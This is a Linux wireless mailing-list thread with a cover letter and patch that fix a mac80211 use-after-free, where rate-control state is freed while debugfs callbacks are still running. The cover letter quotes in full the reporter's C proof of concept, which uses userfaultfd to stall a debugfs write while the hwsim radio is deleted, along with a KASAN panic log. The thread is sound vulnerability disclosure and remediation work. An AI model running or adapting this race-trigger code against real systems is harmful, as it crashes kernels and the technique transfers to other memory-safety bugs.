* [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free
@ 2026-10-28 15:43 Ren Wei
2026-10-28 15:43 ` [PATCH 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-10-28 15:43 UTC (permalink / raw)
To: linux-wireless
Cc: johannes, nbd, linville, sumit.garg, vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
This patch drains rate-control debugfs callbacks before freeing their
state, and closes interface creation during teardown. It also fixes the
notifier-failure unwind order on the current wireless/main base.
Hi Linux kernel maintainers,
This patch fixes use-after-free races when mac80211 rate-control state is
torn down while debugfs callbacks remain active. The archived reproducer
requires root in the initial user namespace, a mac80211_hwsim radio using
minstrel_ht, mounted debugfs, and userfaultfd support.
---- details below ----
Bug details:
The fixed_rate_idx debugfs file points into Minstrel's private allocation.
rate_control_free() previously freed that allocation before removing the
debugfs subtree, so an active write could resume after copy_from_user()
and access freed state. The root-level rate_ctrl_alg file has a related
lifetime: its callback reads local->rate_ctrl while teardown releases the
rate-control reference.
The patch saves the rate_ctrl_alg dentry and synchronously removes both
rate-control debugfs entries before clearing local->rate_ctrl or freeing
private state. Interface removal marks local->unregistering under RTNL;
ieee80211_if_add() then rejects additions during deinitialization. In the
notifier-failure path, interfaces are removed under RTNL, RTNL is released,
rate control is deinitialized, and only then is the wiphy unregistered.
The Fixes trailers identify the relevant changes: 5b5e87314efb removed
Minstrel's per-file debugfs cleanup; bddb2afcb6c5 added the root-level
rate_ctrl_alg file; 75636525fbfa removed the old interface registration
gate; and 52e04b4ce5d0 moved wiphy unregistration before rate-control
deinitialization on the registration-failure path.
Reproducer:
Build dependencies are gcc, make, libnl-3-dev, and libnl-genl-3-dev. From
the archived input/poc directory, run as root in the initial user namespace
with debugfs mounted and an hwsim Minstrel radio available:
make
./poc
The reporter's archived QEMU log is from Linux 6.12.95 and records a
KASAN-triggered panic in debugfs_u32_set() during the fixed_rate_idx write.
It is historical reporter evidence, not output from the current patched
guest.
This candidate was built against wireless/main commit
25e73f1d6868c759c8eb56cad4e411692c5341b4 and tested in a 1-vCPU, 4-GiB
QEMU TCG guest with KASAN enabled and panic_on_warn=0. The fixed-rate
userfaultfd race was exercised with a separate raw-netlink harness, not the
reporter's libnl PoC, and completed with write_result=2, delete_result=0,
and the faulting page supplied. The rate_ctrl_alg reader test completed 100
rounds with two readers and no observed KASAN report. A 2-second interface
add/delete run completed with 65 attempts, 15 successes, 50 ENODEV-family
failures, and delete ACK 0. These tests exercised the patched guest only;
there was no clean-guest comparison for this candidate.
After those tests, an optional fixed_rate_idx check targeted phy0 after the
interface harness had deleted it. That missing path made the init=/bin/bash
PID 1 shell exit; the kernel reported "Attempted to kill init". This was a
harness sequencing error, not a target KASAN/Oops finding. The optional
functional read/write check did not complete. The notifier-registration
failure path was not directly fault-injected.
The reporter's PoC and original QEMU log below are copied verbatim from
input/poc/poc.c and input/poc/qemu.log, respectively.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <netlink/attr.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
enum hwsim_commands {
HWSIM_CMD_UNSPEC,
HWSIM_CMD_REGISTER,
HWSIM_CMD_FRAME,
HWSIM_CMD_TX_INFO_FRAME,
HWSIM_CMD_NEW_RADIO,
HWSIM_CMD_DEL_RADIO,
HWSIM_CMD_GET_RADIO,
};
enum hwsim_attrs {
HWSIM_ATTR_UNSPEC,
HWSIM_ATTR_ADDR_RECEIVER,
HWSIM_ATTR_ADDR_TRANSMITTER,
HWSIM_ATTR_FRAME,
HWSIM_ATTR_FLAGS,
HWSIM_ATTR_RX_RATE,
HWSIM_ATTR_SIGNAL,
HWSIM_ATTR_TX_INFO,
HWSIM_ATTR_COOKIE,
HWSIM_ATTR_CHANNELS,
HWSIM_ATTR_RADIO_ID,
HWSIM_ATTR_REG_HINT_ALPHA2,
HWSIM_ATTR_REG_CUSTOM_REG,
HWSIM_ATTR_REG_STRICT_REG,
HWSIM_ATTR_SUPPORT_P2P_DEVICE,
HWSIM_ATTR_USE_CHANCTX,
HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE,
HWSIM_ATTR_RADIO_NAME,
};
struct race_state {
int uffd;
size_t page_size;
void *fault_page;
char payload[32];
pthread_mutex_t lock;
pthread_cond_t cond;
bool fault_seen;
bool allow_resume;
bool page_copied;
};
struct delete_state {
pthread_mutex_t lock;
pthread_cond_t cond;
bool should_delete;
char phy_name[NAME_MAX];
};
struct write_state {
int fd;
const void *buf;
size_t len;
};
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void die_nl(int err, const char *what)
{
fprintf(stderr, "%s: %s\n", what, nl_geterror(err));
exit(EXIT_FAILURE);
}
static int file_exists(const char *path)
{
return access(path, F_OK) == 0;
}
static int find_hwsim_phy(char *phy_name, size_t phy_name_len, char *fixed_rate_path,
size_t fixed_rate_path_len)
{
DIR *dir;
struct dirent *de;
char hwsim_path[PATH_MAX];
char rc_path[PATH_MAX];
dir = opendir("/sys/kernel/debug/ieee80211");
if (!dir)
return -1;
while ((de = readdir(dir)) != NULL) {
if (strncmp(de->d_name, "phy", 3) != 0)
continue;
snprintf(hwsim_path, sizeof(hwsim_path),
"/sys/kernel/debug/ieee80211/%s/hwsim", de->d_name);
snprintf(rc_path, sizeof(rc_path),
"/sys/kernel/debug/ieee80211/%s/rc/fixed_rate_idx",
de->d_name);
if (!file_exists(hwsim_path) || !file_exists(rc_path))
continue;
if (strlen(de->d_name) >= phy_name_len)
continue;
strcpy(phy_name, de->d_name);
snprintf(fixed_rate_path, fixed_rate_path_len, "%s", rc_path);
closedir(dir);
return 0;
}
closedir(dir);
return -1;
}
static int del_radio_by_name(const char *phy_name)
{
struct nl_sock *sock;
struct nl_msg *msg;
int family;
int err;
sock = nl_socket_alloc();
if (!sock)
return -NLE_NOMEM;
err = genl_connect(sock);
if (err < 0) {
nl_socket_free(sock);
return err;
}
family = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
if (family < 0) {
nl_socket_free(sock);
return family;
}
msg = nlmsg_alloc();
if (!msg) {
nl_socket_free(sock);
return -NLE_NOMEM;
}
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family, 0, 0,
HWSIM_CMD_DEL_RADIO, 1)) {
nlmsg_free(msg);
nl_socket_free(sock);
return -NLE_MSGSIZE;
}
err = nla_put_string(msg, HWSIM_ATTR_RADIO_NAME, phy_name);
if (err < 0) {
nlmsg_free(msg);
nl_socket_free(sock);
return err;
}
err = nl_send_auto(sock, msg);
nlmsg_free(msg);
if (err < 0) {
nl_socket_free(sock);
return err;
}
err = nl_wait_for_ack(sock);
nl_socket_free(sock);
return err;
}
static void *uffd_thread(void *arg)
{
struct race_state *race = arg;
struct pollfd pfd = {
.fd = race->uffd,
.events = POLLIN,
};
struct uffd_msg msg;
char *page;
ssize_t nread;
struct uffdio_copy copy = {};
if (poll(&pfd, 1, -1) < 0)
die_errno("poll(userfaultfd)");
nread = read(race->uffd, &msg, sizeof(msg));
if (nread < 0)
die_errno("read(userfaultfd)");
if ((size_t)nread != sizeof(msg)) {
fprintf(stderr, "short read from userfaultfd: %zd\n", nread);
exit(EXIT_FAILURE);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "unexpected userfaultfd event: %u\n", msg.event);
exit(EXIT_FAILURE);
}
pthread_mutex_lock(&race->lock);
race->fault_seen = true;
pthread_cond_broadcast(&race->cond);
while (!race->allow_resume)
pthread_cond_wait(&race->cond, &race->lock);
pthread_mutex_unlock(&race->lock);
page = calloc(1, race->page_size);
if (!page)
die_errno("calloc(page)");
memcpy(page, race->payload, strlen(race->payload));
copy.src = (unsigned long)page;
copy.dst = (unsigned long)race->fault_page;
copy.len = race->page_size;
if (ioctl(race->uffd, UFFDIO_COPY, ©) < 0)
die_errno("ioctl(UFFDIO_COPY)");
free(page);
pthread_mutex_lock(&race->lock);
race->page_copied = true;
pthread_cond_broadcast(&race->cond);
pthread_mutex_unlock(&race->lock);
return NULL;
}
static void *delete_thread(void *arg)
{
struct delete_state *state = arg;
int err;
pthread_mutex_lock(&state->lock);
while (!state->should_delete)
pthread_cond_wait(&state->cond, &state->lock);
pthread_mutex_unlock(&state->lock);
fprintf(stderr, "[*] deleting radio %s\n", state->phy_name);
err = del_radio_by_name(state->phy_name);
if (err < 0)
die_nl(err, "HWSIM_CMD_DEL_RADIO");
fprintf(stderr, "[*] delete request finished\n");
return NULL;
}
static void *write_thread(void *arg)
{
struct write_state *state = arg;
static ssize_t result;
result = write(state->fd, state->buf, state->len);
fprintf(stderr, "[*] write() returned %zd (errno=%d)\n", result, errno);
return NULL;
}
static int setup_userfaultfd(struct race_state *race)
{
struct uffdio_api api = {
.api = UFFD_API,
};
struct uffdio_register reg = {
.range = {
.start = (unsigned long)race->fault_page,
.len = race->page_size,
},
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
race->uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (race->uffd < 0)
return -1;
if (ioctl(race->uffd, UFFDIO_API, &api) < 0)
return -1;
if (ioctl(race->uffd, UFFDIO_REGISTER, ®) < 0)
return -1;
return 0;
}
int main(void)
{
char phy_name[NAME_MAX];
char fixed_rate_path[PATH_MAX];
struct race_state race = {
.uffd = -1,
.payload = "7\n",
.lock = PTHREAD_MUTEX_INITIALIZER,
.cond = PTHREAD_COND_INITIALIZER,
};
struct delete_state del = {
.lock = PTHREAD_MUTEX_INITIALIZER,
.cond = PTHREAD_COND_INITIALIZER,
};
pthread_t uffd_tid;
pthread_t del_tid;
pthread_t wr_tid;
size_t page_size;
int fd;
void *map;
struct write_state write_arg = {};
if (geteuid() != 0) {
fprintf(stderr, "run as root\n");
return EXIT_FAILURE;
}
if (find_hwsim_phy(phy_name, sizeof(phy_name), fixed_rate_path,
sizeof(fixed_rate_path)) != 0) {
fprintf(stderr, "no hwsim fixed_rate_idx file found\n");
return EXIT_FAILURE;
}
fprintf(stderr, "[*] target radio: %s\n", phy_name);
fprintf(stderr, "[*] target file: %s\n", fixed_rate_path);
fd = open(fixed_rate_path, O_WRONLY);
if (fd < 0)
die_errno("open(fixed_rate_idx)");
page_size = sysconf(_SC_PAGESIZE);
if ((long)page_size <= 0) {
fprintf(stderr, "invalid page size\n");
return EXIT_FAILURE;
}
map = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map == MAP_FAILED)
die_errno("mmap");
race.page_size = page_size;
race.fault_page = map;
if (setup_userfaultfd(&race) != 0)
die_errno("setup_userfaultfd");
snprintf(del.phy_name, sizeof(del.phy_name), "%s", phy_name);
write_arg.fd = fd;
write_arg.buf = race.fault_page;
write_arg.len = strlen(race.payload);
if (pthread_create(&uffd_tid, NULL, uffd_thread, &race) != 0)
die_errno("pthread_create(uffd)");
if (pthread_create(&del_tid, NULL, delete_thread, &del) != 0)
die_errno("pthread_create(delete)");
if (pthread_create(&wr_tid, NULL, write_thread, &write_arg) != 0)
die_errno("pthread_create(write)");
pthread_mutex_lock(&race.lock);
while (!race.fault_seen)
pthread_cond_wait(&race.cond, &race.lock);
pthread_mutex_unlock(&race.lock);
fprintf(stderr, "[*] write is stalled in copy_from_user()\n");
pthread_mutex_lock(&del.lock);
del.should_delete = true;
pthread_cond_signal(&del.cond);
pthread_mutex_unlock(&del.lock);
/* Let teardown get past kfree(priv) and block in debugfs removal. */
usleep(500000);
pthread_mutex_lock(&race.lock);
race.allow_resume = true;
pthread_cond_signal(&race.cond);
pthread_mutex_unlock(&race.lock);
fprintf(stderr, "[*] released the faulting page\n");
pthread_join(wr_tid, NULL);
pthread_join(uffd_tid, NULL);
pthread_join(del_tid, NULL);
sleep(1);
return EXIT_SUCCESS;
}
------END poc.c------
----BEGIN reporter crash log----
[ 263.287963][T10466] page_owner tracks the page as allocated
[ 263.288967][T10466] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP), pid 1, tgid 1 (swapper/0), ts 14264745909, free_ts 14238581692
[ 263.292072][T10466] page last free pid 59 tgid 59 stack trace:
[ 263.293579][T10466] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 263.295017][T10466] CPU: 2 UID: 0 PID: 10466 Comm: poc Not tainted 6.12.95 #2
[ 263.296464][T10466] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 263.298775][T10466] Call Trace:
[ 263.299251][T10466] <TASK>
[ 263.299702][T10466] panic+0x533/0x610
[ 263.300304][T10466] ? __pfx_panic+0x10/0x10
[ 263.300971][T10466] ? irqentry_exit+0x3b/0x90
[ 263.301639][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.302459][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.303209][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.303892][T10466] check_panic_on_warn+0x61/0x80
[ 263.304595][T10466] end_report+0x11b/0x180
[ 263.305207][T10466] kasan_report+0xe8/0x110
[ 263.305867][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.306532][T10466] ? __pfx_debugfs_u32_set+0x10/0x10
[ 263.307303][T10466] debugfs_u32_set+0x4a/0x60
[ 263.307957][T10466] simple_attr_write_xsigned.isra.0+0x1a0/0x260
[ 263.308842][T10466] ? __pfx_simple_attr_write_xsigned.isra.0+0x10/0x10
[ 263.309849][T10466] ? rcu_is_watching+0x12/0xc0
[ 263.310571][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.311387][T10466] ? trace_lock_acquire+0x145/0x1c0
[ 263.312151][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.312966][T10466] ? ksys_write+0xfb/0x1d0
[ 263.313619][T10466] debugfs_attr_write+0x65/0x90
[ 263.314301][T10466] vfs_write+0x21d/0xf30
[ 263.314913][T10466] ? __pfx_vfs_write+0x10/0x10
[ 263.315586][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.316398][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.317287][T10466] ? __fget_files+0x1c9/0x300
[ 263.318131][T10466] ksys_write+0xfb/0x1d0
[ 263.318899][T10466] ? __pfx_ksys_write+0x10/0x10
[ 263.319777][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.320789][T10466] do_syscall_64+0xc7/0x270
[ 263.321632][T10466] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 263.322694][T10466] RIP: 0033:0x7f5a4a8199ee
[ 263.323461][T10466] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 263.326888][T10466] RSP: 002b:00007f5a49779e68 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[ 263.328528][T10466] RAX: ffffffffffffffda RBX: 00007f5a4977a6c0 RCX: 00007f5a4a8199ee
[ 263.330096][T10466] RDX: 0000000000000002 RSI: 00007f5a4a9b0000 RDI: 0000000000000003
[ 263.331503][T10466] RBP: ffffffffffffff40 R08: 0000000000000000 R09: 0000000000000000
[ 263.332893][T10466] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000020
[ 263.334318][T10466] R13: 0000000000000002 R14: 00007ffe52acf820 R15: 00007f5a48f7a000
[ 263.335728][T10466] </TASK>
[ 263.336683][T10466] Kernel Offset: disabled
[ 263.337470][T10466] Rebooting in 86400 seconds..
----END reporter crash log----
Best regards,
Zixuan Chai
Zixuan Chai (1):
wifi: mac80211: drain rate-control debugfs before free
net/mac80211/debugfs.c | 2 +-
net/mac80211/ieee80211_i.h | 2 ++
net/mac80211/iface.c | 4 ++++
net/mac80211/main.c | 5 +++++
net/mac80211/rate.c | 7 ++++---
5 files changed, 16 insertions(+), 4 deletions(-)
--
2.34.1
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH 1/1] wifi: mac80211: drain rate-control debugfs before free
2026-10-28 15:43 [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free Ren Wei
@ 2026-10-28 15:43 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-10-28 15:43 UTC (permalink / raw)
To: linux-wireless
Cc: johannes, nbd, linville, sumit.garg, vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
The fixed_rate_idx debugfs file refers to Minstrel private state, and
rate_ctrl_alg reads local->rate_ctrl. Teardown can free these objects
while a debugfs callback is still active, allowing the callback to use
freed state.
Remove both debugfs files synchronously before clearing the rate-control
pointer or freeing algorithm state. Reject new interface additions once
unregistration starts, so no interface can attach while rate control is
being deinitialized.
On notifier-registration failure, remove interfaces under RTNL, then
drop RTNL before deinitializing rate control. Keep the wiphy registered
until the debugfs callbacks have drained, then unregister it.
Fixes: 5b5e87314efb ("mac80211: minstrel: remove unnecessary debugfs cleanup code")
Fixes: bddb2afcb6c5 ("mac80211: add back lost debugfs files")
Fixes: 75636525fbfa ("mac80211: revamp virtual interface handling")
Fixes: 52e04b4ce5d0 ("mac80211: fix race in ieee80211_register_hw()")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/mac80211/debugfs.c | 2 +-
net/mac80211/ieee80211_i.h | 2 ++
net/mac80211/iface.c | 4 ++++
net/mac80211/main.c | 5 +++++
net/mac80211/rate.c | 7 ++++---
5 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/net/mac80211/debugfs.c b/net/mac80211/debugfs.c
index e38631d7cfb42..20d1db583f94b 100644
--- a/net/mac80211/debugfs.c
+++ b/net/mac80211/debugfs.c
@@ -654,7 +654,7 @@ void debugfs_hw_add(struct ieee80211_local *local)
DEBUGFS_ADD(total_ps_buffered);
DEBUGFS_ADD(wep_iv);
- DEBUGFS_ADD(rate_ctrl_alg);
+ local->debugfs.rate_ctrl_alg = DEBUGFS_ADD(rate_ctrl_alg);
DEBUGFS_ADD(queues);
DEBUGFS_ADD(misc);
#ifdef CONFIG_PM
diff --git a/net/mac80211/ieee80211_i.h b/net/mac80211/ieee80211_i.h
index 9374c2942489c..4243be432ccb9 100644
--- a/net/mac80211/ieee80211_i.h
+++ b/net/mac80211/ieee80211_i.h
@@ -1535,6 +1535,7 @@ struct ieee80211_local {
/* device is started */
bool started;
+ bool unregistering;
/* device is during a HW reconfig */
bool in_reconfig;
@@ -1698,6 +1699,7 @@ struct ieee80211_local {
#ifdef CONFIG_MAC80211_DEBUGFS
struct local_debugfsdentries {
struct dentry *rcdir;
+ struct dentry *rate_ctrl_alg;
struct dentry *keys;
} debugfs;
bool force_tx_status;
diff --git a/net/mac80211/iface.c b/net/mac80211/iface.c
index 5f0c482bd4a5a..6047614ec7804 100644
--- a/net/mac80211/iface.c
+++ b/net/mac80211/iface.c
@@ -2278,6 +2278,9 @@ int ieee80211_if_add(struct ieee80211_local *local, const char *name,
ASSERT_RTNL();
lockdep_assert_wiphy(local->hw.wiphy);
+ if (local->unregistering)
+ return -ENODEV;
+
if (type == NL80211_IFTYPE_P2P_DEVICE || type == NL80211_IFTYPE_NAN) {
int size = ALIGN(sizeof(*sdata) + local->hw.vif_data_size,
sizeof(void *));
@@ -2490,6 +2493,7 @@ void ieee80211_remove_interfaces(struct ieee80211_local *local)
LIST_HEAD(unreg_list);
ASSERT_RTNL();
+ local->unregistering = true;
/* Before destroying the interfaces, make sure they're all stopped so
* that the hardware is stopped. Otherwise, the driver might still be
diff --git a/net/mac80211/main.c b/net/mac80211/main.c
index 6408e8464338d..b34fbe74cff96 100644
--- a/net/mac80211/main.c
+++ b/net/mac80211/main.c
@@ -1679,7 +1679,12 @@ int ieee80211_register_hw(struct ieee80211_hw *hw)
#if defined(CONFIG_INET) || defined(CONFIG_IPV6)
fail_ifa:
#endif
+ rtnl_lock();
+ ieee80211_remove_interfaces(local);
+ rtnl_unlock();
+ rate_control_deinitialize(local);
wiphy_unregister(local->hw.wiphy);
+ goto fail_rate;
fail_wiphy_register:
fail_band:
rtnl_lock();
diff --git a/net/mac80211/rate.c b/net/mac80211/rate.c
index e910f03af7775..8e90c134f1db1 100644
--- a/net/mac80211/rate.c
+++ b/net/mac80211/rate.c
@@ -281,13 +281,15 @@ rate_control_alloc(const char *name, struct ieee80211_local *local)
static void rate_control_free(struct ieee80211_local *local,
struct rate_control_ref *ctrl_ref)
{
- ctrl_ref->ops->free(ctrl_ref->priv);
-
#ifdef CONFIG_MAC80211_DEBUGFS
debugfs_remove_recursive(local->debugfs.rcdir);
local->debugfs.rcdir = NULL;
+ debugfs_remove(local->debugfs.rate_ctrl_alg);
+ local->debugfs.rate_ctrl_alg = NULL;
#endif
+ local->rate_ctrl = NULL;
+ ctrl_ref->ops->free(ctrl_ref->priv);
kfree(ctrl_ref);
}
@@ -1038,6 +1040,5 @@ void rate_control_deinitialize(struct ieee80211_local *local)
if (!ref)
return;
- local->rate_ctrl = NULL;
rate_control_free(local, ref);
}
--
2.34.1
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-28 15:43 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-28 15:43 [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free Ren Wei
2026-10-28 15:43 ` [PATCH 1/1] " Ren Wei
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.